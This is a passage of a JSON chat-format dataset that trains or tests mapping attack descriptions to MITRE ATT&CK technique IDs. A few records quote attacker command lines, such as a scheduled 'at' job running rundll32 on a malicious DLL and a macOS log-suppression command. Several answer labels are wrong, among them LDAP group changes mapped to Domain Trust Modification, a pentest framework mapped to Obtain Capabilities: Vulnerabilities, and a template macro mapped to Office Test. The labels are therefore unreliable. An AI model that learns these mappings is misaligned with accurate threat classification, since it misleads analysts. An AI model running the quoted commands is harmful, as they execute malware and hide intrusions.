                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a custom kernel module installed via a vulnerable driver to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A browser extension silently records session cookies and later replays them to gain unauthorized access to the victim's online banking portal."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses wevtutil.exe to delete the Security and System logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals take over a city council’s public records portal and embed a drive‑by download that exploits an outdated Java runtime, installing a botnet client on every visitor."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the Azure CLI to enumerate Azure AD groups and their assigned roles."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use video steganography to embed encrypted data within frames of an MP4 file, which is later decoded by malware on the target system."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing \"log stream --predicate 'eventMessage contains \\\"malicious\\\"' --style syslog > /dev/null\" on a Mac, the attacker discarded specific log entries related to their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages eBPF socket filters to drop or modify traffic, effectively signaling compromised hosts to a remote controller."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal exploits an outdated Apache server configuration to upload a new index.html, resulting in a publicly visible defacement page."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised LDAP service is used to modify group memberships, granting the attacker domain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adjusts the domain's trust relationships to include a malicious domain, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat employs a PowerShell script that monitors Outlook attachments and exfiltrates them via a malicious OneDrive link."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs domain hijacking by altering the WHOIS contact information to gain control over the domain."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researcher pulls certificate chain information from the Mozilla Observatory API to map a victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used compromised credentials to delete several virtual machines in the victim's AWS environment, causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates all AWS S3 buckets using the AWS CLI command 'aws s3 ls'."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs lateral tool transfer via SMB to implant on a new host."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use msiexec /X {GUID} /qn to uninstall a legitimate application and replace it with a compromised version that runs a payload during installation."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group accessed password entries in a Kubernetes secret store to obtain database credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses launchctl to set environment variables for a privileged service, leading to command injection."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script calls Invoke‑DumpCreds to harvest credentials from the Local Security Authority (LSA)."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker inserts a rogue SSH public key into the authorized_keys file of a compromised network switch to preserve long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator obtains a commercial penetration testing framework for internal use."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilizes Windows Management Instrumentation (WMI) to execute a malicious script stored as an attribute value, which runs directly from memory upon query."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploited a misconfigured Kubernetes RBAC to execute \"kubectl exec\" as a cluster admin."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the Netlogon secure channel on a domain controller to bypass normal credential validation."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script leverages the Windows API to read the NTDS.dit file on a compromised DC, dumping all stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious script named \"report.doc \" (note the space at the end) so that Windows Explorer hides the extension and the file appears benign."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic DNS used to rapidly change domain names and evade detection"
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators utilized cmstp.exe with a malicious INF configuration to achieve persistence and elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes domain fronting by sending requests to a popular domain's IP address while specifying a different host in the TLS SNI field."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider uses their own domain account to copy sensitive files to an external drive."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a compromised transport agent to run PowerShell scripts on the victim's mail server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a credential dumping module to read the security account manager (SAM) database."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows \"AppInit_DLLs\" registry key to load a malicious DLL while naming the key entry \"ntdll.dll\" to look legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary forges a trusted corporate email address and sends phishing emails to employees to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s payload silently purged the shell’s command history to cover its tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed a malicious executable to \"notepad .exe\" adding a trailing space before the extension, causing Windows to display it as the legitimate Notepad program."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder modifies the launch daemon for system logging to execute a malicious binary before logs are written."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a popular blogging platform to leave command snippets in blog posts that malware parses and executes."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes a spear-phishing email purporting to be from HR, containing a malicious attachment that, when opened, extracts the victim's login credentials for the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent agent periodically collects system information, including installed software lists, and sends the data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized transfer of files using FTP"
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor manipulated the IIS configuration file (applicationHost.config) to load a malicious module, providing stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys remote administration tools (RATs) through PowerShell scripts to gain stealthy remote access to the target network."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script harvests authentication cookies from a victim's browser storage and replays them to gain unauthorized access to the application."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a GCP Cloud Functions deployment by adding a malicious Node.js handler, allowing them to exfiltrate data each time the function processes a Pub/Sub message."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By issuing \"at 23:59 /every:Su cmd /c \"rundll32.exe malicious.dll,EntryPoint\"\", the group ensures weekly execution of their malware."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy spyware program monitors the clipboard for cryptocurrency addresses and steals them silently."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears both the OS network connection history and any related firewall rule change logs to remove forensic evidence."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved executing a malicious batch file (.bat) that disabled security services on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet client employs a DGA that mixes random alphanumeric characters with the current week number to generate potential C2 domains, attempting DNS resolution continuously."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers schedule a task that runs 'shutdown -r now' to restart the system remotely."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑crime operation used a botnet of compromised email accounts to distribute phishing links."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office macro is embedded in a template that runs a PowerShell command to disable security tools whenever the associated Office application starts."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows port monitor mechanism, loading a backdoored driver during boot to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the service registry entries to set insecure permissions, then drop a malicious DLL that is loaded by the service at start‑up."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat leverages a USB Rubber Ducky to execute a script that harvests files and stores them on the attached USB device."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fraudster calls a company's finance department, impersonating a vendor, and asks for payment details, leveraging knowledge of recent invoice numbers."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor decodes a malicious script concealed within the frame data of a low‑resolution JPEG that is downloaded as part of routine software updates."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers an infinite loop of registry modifications, exhausting system resources and leading to a denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script serializes JSON objects and then applies GZIP compression and Base64 encoding for transport."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows Native API to create a transaction, writes a malicious executable into the transaction, then rolls back, causing the system to execute the payload as a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion chain includes invoking regasm with elevated privileges to load a malicious assembly into a service process."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host executes a script that clears the connection logs and strips any custom network configuration changes made by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a malicious SMB packet to abuse a known flaw in Windows file sharing, achieving remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a misconfigured IAM role to assume additional cloud credentials and enumerate resources."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious code into a shared JavaScript library used by multiple web applications, causing cross-site scripting attacks on end users."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed thread execution hijacking by suspending a target thread, modifying its context with malicious EIP, and resuming it to run code."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves inserting an RTL override character into a script's header, causing the script's content to be displayed backwards and hiding its malicious intent."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious firmware is flashed onto the motherboard's component firmware, allowing code execution before Windows starts."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit calls NtAlertResumeThread after queuing an APC to trigger execution of malicious payload in a target process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a wrapper that calls a setgid binary, thereby obtaining elevated group permissions on the target system."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a commonly used .so file on Linux, allowing the attacker to run it across different applications."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies an existing stored procedure to include a call to a custom assembly that installs a backdoor on the host OS."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
